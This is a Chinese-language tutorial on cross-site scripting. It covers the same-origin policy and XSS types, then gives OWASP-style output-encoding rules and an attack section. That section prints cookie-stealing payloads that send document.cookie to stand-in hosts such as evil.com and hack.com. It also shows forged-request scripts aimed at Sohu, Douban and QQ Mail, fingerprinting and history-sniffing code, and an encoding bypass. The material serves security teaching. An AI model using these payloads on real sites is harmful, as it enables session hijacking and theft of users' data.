web攻击之一:XSS跨站脚本
一、浏览器安全
同源策略
影响源的因素:host,子域名,端口,协议
a.com通过以下代码:
<script scr=http://b.com/b.js>
加载了b.com上的b.js,但是b.js是运行在a.com页面中的,因此相对于当前打开的页面(a.com)来说,b.js的源就应该是a.com而非b.com 不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
XMLHttpRequest不能跨域访问资源。但是有跨域请求的需求,因此W3C指定了XMLHttpRequest的跨域访问标准。它需要通过目标域返回的Http头来授权是否允许跨域访问,因此HTTP头对于JavaScript来说一般是无法控制的,所以认为这个方案是可行的。注意:这个跨域访问方案的安全基础就是信任“Javascript无法控制该HTTP头”,如果此信任基础被打破,则此方案也就不再安全。
浏览器沙箱
每个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。
恶意网址拦截
浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类:
1、挂马网站,通常包含恶意的Javascript或Flash,通过利用浏览器的漏洞,执行shellcode,在电脑中植入木马
2、钓鱼网站:模仿知名网站的相似页面
一、XSS定义
跨站脚本(Cross Site Scripting)因为和CSS重名,所以改名XSS。XSS攻击是指在远程WEB页面的HTML代码中插入恶意的JavaScript,VBScript,ActiveX,HTML,或Flash等脚本,窃取浏览此页面的用户的信息,改变用户的设置,破坏用户数据的攻击技术。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响,但对客户端的安全构成严重的威胁,这主要是由于服务器对用户提交的数据过滤不完整造成的。
二、XSS漏洞示例
假设页面上有个表单,表单名称为Nick,用来想服务端提交网站用户的昵称信息:
<input type="text" name="nick" value="xiaomao">
表单nick的内容来自用户的输入,当用户输入的不是一个正常的昵称字符串,而是"/><script>alert("haha")</script></!-时,服务端进行持久化,其它页面需要从服务端将数据展现出来,展示页面代码
<td>nick:</td><td>${message}</td>
完整的代码如下:
xss.html
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>XSS</title> </head> <body> <form action="login"> <table> <tr> <td>nick:</td> <td><input type="text" name="nick" value="xiaomao"></td> </tr> </table> </form> </body> </html>
xss2.html代码
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Annotation Spring MVC</title> </head> <body> <form action="login"> <table> <tr> <td>nick:</td><td>${message}</td> </tr> </table> </form> </body> </html>
后台代码
package com.dxz.web.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.servlet.ModelAndView; @Controller public class loginController { @RequestMapping(value="/login",method=RequestMethod.GET) public ModelAndView helloWorld(@RequestParam("nick") String nick){ System.out.println(nick + " login"); ModelAndView mv = new ModelAndView(); mv.addObject("message", nick); mv.setViewName("xss2"); return mv; } }
http://localhost:8080/SpringWebTraining/login?nick="/><script>alert("haha")</script></!-进行URLEncode后如下:
http://localhost:8080/SpringWebTraining/login?nick=%22%2F%3Cscript%3Ealert%28%22haha%22%29%3C%2Fscript%3E%3C%21-
将URLEncode后的url通过邮件发给别人,以迷惑用户看起来像正常推广链接,一旦用户点击,脚本将在客户端执行,对用户造成危害。
三、XSS漏洞
XSS分为以下几类:
1)反射型XSS: 就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS)
2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。
3)DOM based XSS:也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
大家最关心的大概要算这个问题了,下面列举的漏洞危害可能并不全面,但应该是比较典型的:
- 获取用户Cookie中的敏感数据
- 屏蔽页面特定信息
- 伪造页面信息
- 拒绝服务攻击
- 突破外网内网不同安全设置
- 与其它漏洞结合,修改系统WEB设置,查看系统文件,执行系统命令等
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它。对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感信息,甚至可以知道用户电脑安装了哪些软件。这些脚本还可以改写HTML页面,进行钓鱼攻击。
虽然产生XSS漏洞的原因各种各样,对于漏洞的利用也是花样百出,但是如果我们遵循本文提到防御原则,我们依然可以做到防止XSS攻击的发生。
有人可能会问,防御XSS的核心不就是在输出不可信数据的时候进行编码,而现如今流行的Web框架(比如Rails)大多都在默认情况下就对不可信数据进行了HTML编码,帮我们做了防御,还用得着我们自己再花时间研究如何防御XSS吗?答案是肯定的,对于将要放置到HTML页面body里的不可信数据,进行HTML编码已经足够防御XSS攻击了,甚至将HTML编码后的数据放到HTML标签(TAG)的属性(attribute)里也不会产生XSS漏洞(但前提是这些属性都正确使用了引号),但是,如果你将HTML编码后的数据放到了<SCRIPT>标签里的任何地方,甚至是HTML标签的事件处理属性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻击依然会发生,在这种情况下,HTML编码不起作用了。所以就算你到处使用了HTML编码,XSS漏洞依然可能存在。下面这几条规则就将告诉你,如何在正确的地方使用正确的编码来消除XSS漏洞。
原则1:不要在页面中插入任何不可信数据,除非这些数已经据根据下面几个原则进行了编码
第一条原则其实是“Secure By Default”原则:不要往HTML页面中插入任何不可信数据,除非这些数据已经根据下面几条原则进行了编码。
之所以有这样一条原则存在,是因为HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差别,比如有些漏洞发生在HTML标签里,有些发生在HTML标签的属性里,还有的发生在页面的<Script>里,甚至有些还出现在CSS里,再加上不同的浏览器对页面的解析或多或少有些不同,使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器(XSS Filter)对不可信数据进行转义或替换,那么XSS过滤器的过滤规则将会变得异常复杂,难以维护而且会有被绕过的风险。
所以实在想不出有什么理由要直接往HTML页面里插入不可信数据,就算是有XSS过滤器帮你做过滤,产生XSS漏洞的风险还是很高
<script>…不要在这里直接插入不可信数据…</script>直接插入到SCRIPT标签里 <!– …不要在这里直接插入不可信数据… –> 插入到HTML注释里 <div 不要在这里直接插入不可信数据=”…”></div> 插入到HTML标签的属性名里 <div name=”…不要在这里直接插入不可信数据…”></div> 插入到HTML标签的属性值里 <不要在这里直接插入不可信数据 href=”…”></a> 作为HTML标签的名字 <style>…不要在这里直接插入不可信数据…</style> 直接插入到CSS里
最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
在这里相当强调是往HTML标签之间插入不可信数据,以区别于往HTML标签属性部分插入不可信数据,因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。比如,我们经常需要往DIV,P,TD这些标签里放入一些用户提交的数据,这些数据是不可信的,需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好,而有些Web框架似乎更“智能”,比如Rails,它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码,尽管不能完全防御XSS,但着实减轻了开发人员的负担。
<body>…插入不可信数据前,对其进行HTML Entity编码…</body><div>…插入不可信数据前,对其进行HTML Entity编码…</div><p>…插入不可信数据前,对其进行HTML Entity编码…</p> 以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码
[编码规则]
那么HTML Entity编码具体应该做哪些事情呢?它需要对下面这6个特殊字符进行编码:
& –> & < –> < > –> > ” –> " ‘ –> ' / –> /
有两点需要特别说明的是:
- 不推荐将单引号( ‘ )编码为 ' 因为它并不是标准的HTML标签
- 需要对斜杠号( / )编码,因为在进行XSS攻击时,斜杠号对于关闭当前HTML标签非常有用
推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。
<div attr=…插入不可信数据前,进行HTML属性编码…></div>属性值部分没有使用引号,不推荐 <div attr=’…插入不可信数据前,进行HTML属性编码…’></div> 属性值部分使用了单引号 <div attr=”…插入不可信数据前,进行HTML属性编码…”></div> 属性值部分使用了双引号
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; (以&#x开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:
假设HTML代码是这样的:
<div width=$INPUT> …content… </div>
攻击者可以构造这样的输入:
x onmouseover=”javascript:alert(/xss/)”
最后,在用户的浏览器里的最终HTML代码会变成这个样子:
<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>
只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:
x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div
除了空格符可以闭合当前属性外,这些符号也可以:
% * + , – / ; < = > ^ | `(反单引号,IE会认为它是单引号)
可以使用ESAPI提供的函数进行HTML属性编码:
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:
<script> var message = “<%= encodeJavaScript(@INPUT) %>”; </script>
除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。
<script>alert(‘…插入不可信数据前,进行JavaScript编码…’)</script>值部分使用了单引号 <script>x = “…插入不可信数据前,进行JavaScript编码…”</script> 值部分使用了双引号 <div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “</div> 值部分使用了引号,且事件处理属性的值部分也使用了引号 特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如: <script> window.setInterval(‘…就算对不可信数据进行了JavaScript编码,这里依然会有XSS漏洞…’); </script>
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)
在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义,比如将双引号 ” 转义成 \” ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:
假设代码片段如下:
<script> var message = ” $VAR “; </script>
攻击者输入的内容为:
\”; alert(‘xss’);//
如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:
<script> var message = ” \\”; alert(‘xss’);// “; </script>
浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。
可以使用ESAPI提供的函数进行JavaScript编码:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。
<style>selector { property : …插入不可信数据前,进行CSS编码…} </style><style>selector { property : ” …插入不可信数据前,进行CSS编码… “} </style> <span style=” property : …插入不可信数据前,进行CSS编码… ”> … </span>
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)
同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。
可以使用ESAPI提供的函数进行CSS编码:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
<a href=”http://www.abcd.com?param=…插入不可信数据前,进行URL编码…”> Link Content </a>
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)
在对URL进行编码的时候,有两点是需要特别注意的:
1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码
2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。
可以使用ESAPI提供的函数进行URL编码:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
String userProvidedURL = request.getParameter(“userProvidedURL”); boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false); if (isValidURL) { <a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a> }
原则7:使用富文本时,使用XSS规则引擎进行编码过滤
Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。
针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如<b>, <i>, <p>等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在<div>, <p>等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到<SCRIPT>标签里。
推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer
总结
由于很多地方都可能产生XSS漏洞,而且每个地方产生漏洞的原因又各有不同,所以对于XSS的防御来说,我们需要在正确的地方做正确的事情,即根据不可信数据将要被放置到的地方进行相应的编码,比如放到<div>标签之间的时候,需要进行HTML编码,放到<div>标签属性里的时候,需要进行HTML属性编码,等等。
XSS攻击是在不断发展的,上面介绍的几条原则几乎涵盖了Web应用里所有可能出现XSS的地方,但是我们仍然不能掉以轻心,为了让Web应用更加安全,我们还可以结合其他防御手段来加强XSS防御的效果,或者减轻损失:
对用户输入进行数据合法性验证,例如输入email的文本框只允许输入格式正确的email,输入手机号码的文本框只允许填入数字且格式需要正确。这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过,而为了提高用户体验和减轻服务器压力,最好也在浏览器端进行同样的验证。
为Cookie加上HttpOnly标记。许多XSS攻击的目标就是窃取用户Cookie,这些Cookie里往往包含了用户身份认证信息(比如SessionId),一旦被盗,黑客就可以冒充用户身份盗取用户账号。窃取Cookie一般都会依赖JavaScript读取Cookie信息,而HttpOnly标记则会告诉浏览器,被标记上的Cookie是不允许任何脚本读取或修改的,这样即使Web应用产生了XSS漏洞,Cookie信息也能得到较好的保护,达到减轻损失的目的。
Web应用变得越来越复杂,也越来越容易产生各种漏洞而不仅限于XSS漏洞,没有银弹可以一次性解决所有安全问题,我们只能处处留意,针对不同的安全漏洞进行针对性的防御。
希望本文介绍的几条原则能帮助你成功防御XSS攻击,如果你对于XSS攻击或防御有任何的见解或疑问的话,欢迎留言讨论,谢谢。
四、XSS攻击
4.1、初探XSS Payload
XSS Payload就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何Javascript脚本能做到的事情,XSS Payload都能做到。
一个最常见的XSS Payload就是读取浏览器的Cookie对象,从而发起”Cookie劫持”攻击。
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不用通过密码,而直接登录进用户的账户。
如下所示,攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc=“><script scr=http://www.evil.com/evil.js ></script>
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js中,可以通过如下代码窃取Cookie:
var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。
事实上,http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录 。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
黑客可以用这个Cookie直接登录。
防止:Cookie的“HttpOnly”标识可以防止”Cookie劫持”,我们将在稍后的章节中在具体介绍。
4.2、强大的XSS Payload
构造Get与Post请求:例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢?
假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下:
正常删除该文章的链接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。
攻击者可以通过插入一张图片来发起一个get请求:
var img=document.createElement("img"); img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012"; document.body.appendChild(img);
攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。
再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢?
下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。
1 var f=document.createElement("form"); 2 f.action=""; 3 f.method="post"; 4 document.body.appendChild(f); 5 var i1=document.createElement("input"); 6 i1.name=" ck"; 7 i1.value=" JiuY"; 8 f.appendChild(i1); 9 var i2=document.createElement("input"); 10 i2.name=" mb_text"; 11 i2.value="testtestseset"; 12 f.appendChild(i2); 13 f.submit();
如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:
var dd=document.createElement("div"); document.body.appendChild(dd); dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+ '<input type="hidden" name="ck" value="JiuY" />'+ '<input type="hidden" name="mb_text" value="testetst" />' + '</form>' document.getElementById("xssform").submit();
第二种方法是,通过XMLHttpRequest发送一个POST请求:
1 var url = "http://www.douban.com"; 2 var postStr = "ck=JiuY&mb_text=test1234"; 3 var ajax = null; 4 if (window.XMLHttpRequest) { 5 ajax = new XMLHttpRequest(); 6 } else if (window.ActiveXObject) { 7 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 8 } else { 9 return; 10 } 11 ajax.open("POST", url, true); 12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 13 ajax.send(postStr); 14 ajax.onreadystatechange = function() { 15 if (ajax.readyState == 4 && ajax.status == 200) { 16 alert("Done"); 17 } 18 }
通过这个例子可以看出,使用Javascript模拟提交表单并不是一件困难的事情.
下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹:
首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,点击“收件箱”后。抓包发现浏览器发出了如下请求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1
经过分析,真正能访问到邮件列表的链接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…
这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。
所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:
1 if (top.window.location.href.indexOf("sid=") > 0) { 2 var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24); 3 } 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid; 5 var ajax = null; 6 if (window.XMLHttpRequest) { 7 ajax = new XMLHttpRequest(); 8 } else if (window.ActiveXObject) { 9 ajax = new ActiveXObject("Microsoft.XMLHTTP"); 10 } else { 11 return; 12 } 13 ajax.open("GET", folder_url, true); 14 ajax.send(null); 15 ajax.onreadystatechange = function() { 16 if (ajax.readyState == 4 && ajax.status == 200) { 17 alert(ajax.responseText); 18 //document.write(ajax.responseText); 19 } 20 }
邮件列表的内容成功被XSS Payload获取到。
4.3、钓鱼:
XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。
对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施–攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload 从而绕过验证码。
修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与”钓鱼”结合。
实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。
4.4、识别用户浏览器:
navigator.userAgent
但是userAgent是可以伪造的。这个信息不一定准确。
由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。
参考:
1 if (window.ActiveObject) { 2 //MSIE 6.0 or below 3 //判断是否IE 7以上 4 if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") { 5 if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8 6 //MSIE 8.0 7 } 8 //MSIE 7.0 9 } 10 return "msie"; //MSIE6.0 11 } else if { 12 typeof window.opera != "undefined") { //Opera独占 13 return "opera"; 14 } else if (typeof window.netscape != "undefined") { //Mozilla独占 15 if (typeof window.Iterator != "undefined") { 16 //Firefox 2.0以上支持这个对象 17 if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9 18 //Firefox 3 19 } 20 //Firefox 2.0 21 } 22 return "mozilla"; 23 } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari 24 try { 25 if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome 26 return "Chrome"; 27 } 28 } catch(e) { 29 return "safari"; 30 } 31 } else { //unknown 32 return "unknown"; 33 }
4.5、识别用户安装的软件:
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到入木马的目的。
看如下代码:
try { var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper'); } catch (e){ //异常了,不存在该控件 }
通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。
Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:
所以直接查询”navigator.plugins”对象,就能找到所有的插件了。例如 navigator.plugins[0]
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在
1 var m = new Image(); 2 m.onload = function() { 3 alert(1); //图片存在 4 }; 5 m.onerror = function() { 6 alert(2); //图片不存在 7 }; 8 m.src = "chrome://flashgot/skin/icon32.png"; //连接图片
4.6、CSS History Hack:
我们再看看另外一个有趣的XSS Payload—通过CSS,来发现一个用户曾经访问过的网站。
原理是利用style的visited桑性—如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。
1 < script > 2 var websites = [...要检测的访问过的网址列表,可能有几千个...]; 3 //遍历每个URL 4 for (var i = 0; i < websites.length: i++) { 5 var link = document.createElement("a"); 6 link.id = "id" + i; 7 link.href = websites[i]; 8 link.innerHTML = websites[i]; 9 document.write('<style>'); 10 document.write('#id' + i + ":visited {color:#FF0000;}"); 11 document.write('</style>'); 12 document.body.appendChild(link); 13 var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); 14 document.body.removeChild(link); 15 if (color == "rgb(255,0,0)") { //visited 16 var item = document.createElement('li'); 17 item.appendChild(link); 18 document.getElementById('visited').appendChild(item); 19 } else { //Not visited 20 var item = document.createElement('li'); 21 item.appendChild(link); 22 document.getElementById('notvisited').appendChild(item); 23 } 24 } < /script>/
但是Firefox已经决定修补这个问题
4.7、获取用户的真实IP地址:
很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
在XSS攻击框架”Attack API”中,就有一个获取本地IP地址的API:
1 AttackAPI.dom.getInternalIP = function() { 2 try { 3 var sock = new java.net.Socket(); 4 sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); 5 sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port)); 6 return sock.getLocalAddress().getHostAddress(); 7 } catch(e) {} 8 return '127.0.0.1'; 9 };
此外,还有两个利用Java获取本地网络信息的API:
XSS攻击平台:
XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。
Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。
XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。
这些XSS攻击平台有助于深入理解XSS的原理和危害。
终极武器:XSS Worm
Samy Worm:
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。
MySpace过滤了很多危险的HTML标签,只保留了<a>
标签、<img>
标签、<div>
标签等”安全的标签”.并过滤了所有的事件,例如”onclick”。但是MySpace却允许用户控制标签的Style属性,通
style,还是有办法构造出XSS的。比如:
<div style="background:url('javascript:alert(1)')">
其次,MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词,所以Samy用了“拆分法”绕过这些限制。
最后Samy通过Ajax构造的Post请求,完成了在用户的heros列表里添加自己名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。
具体代码太长。。。
但是发起XSS Worm攻击是有一定的条件的:
一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。
比如发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如”用户个人资料设置”页面,因为缺乏用户之间互动的功能
所以即使存在XSS,也不能被用于XSS Worm的传播。
百度空间蠕虫:
调试Javascript:
要想写好XSS Payload,需要有很好的Javascript功底,调试javascript是必不可少的技能。
Firebug …
XSS构造技巧
利用字符编码:
“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个<script>标签中输出了一个变量,其中转义了双引号: var redirectUrl="\";alert(/xss/);";
一般来说,这里是没有XSS漏洞的,因为变量处于双引号之内,系统转义了双引号导致变量无法escape。
但是百度的返回页面是GBK/GB2312编码的,因此”%c1\”这两个字符组合在一起后,会成为一个Unicode字符。在Firefox下会认为这是一个字符,所以构造: %c1";alert(/xss/);//
并提交: var rediretUrl="?";alert(2);//";
这两个字节:"%c1\"
组成了一个新的Unicode字符,%c1
把转义符"\"
给”吃掉了”,从而绕过了系统的安全检查,成功地实施了XSS攻击。
绕过长度限制:
很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的。
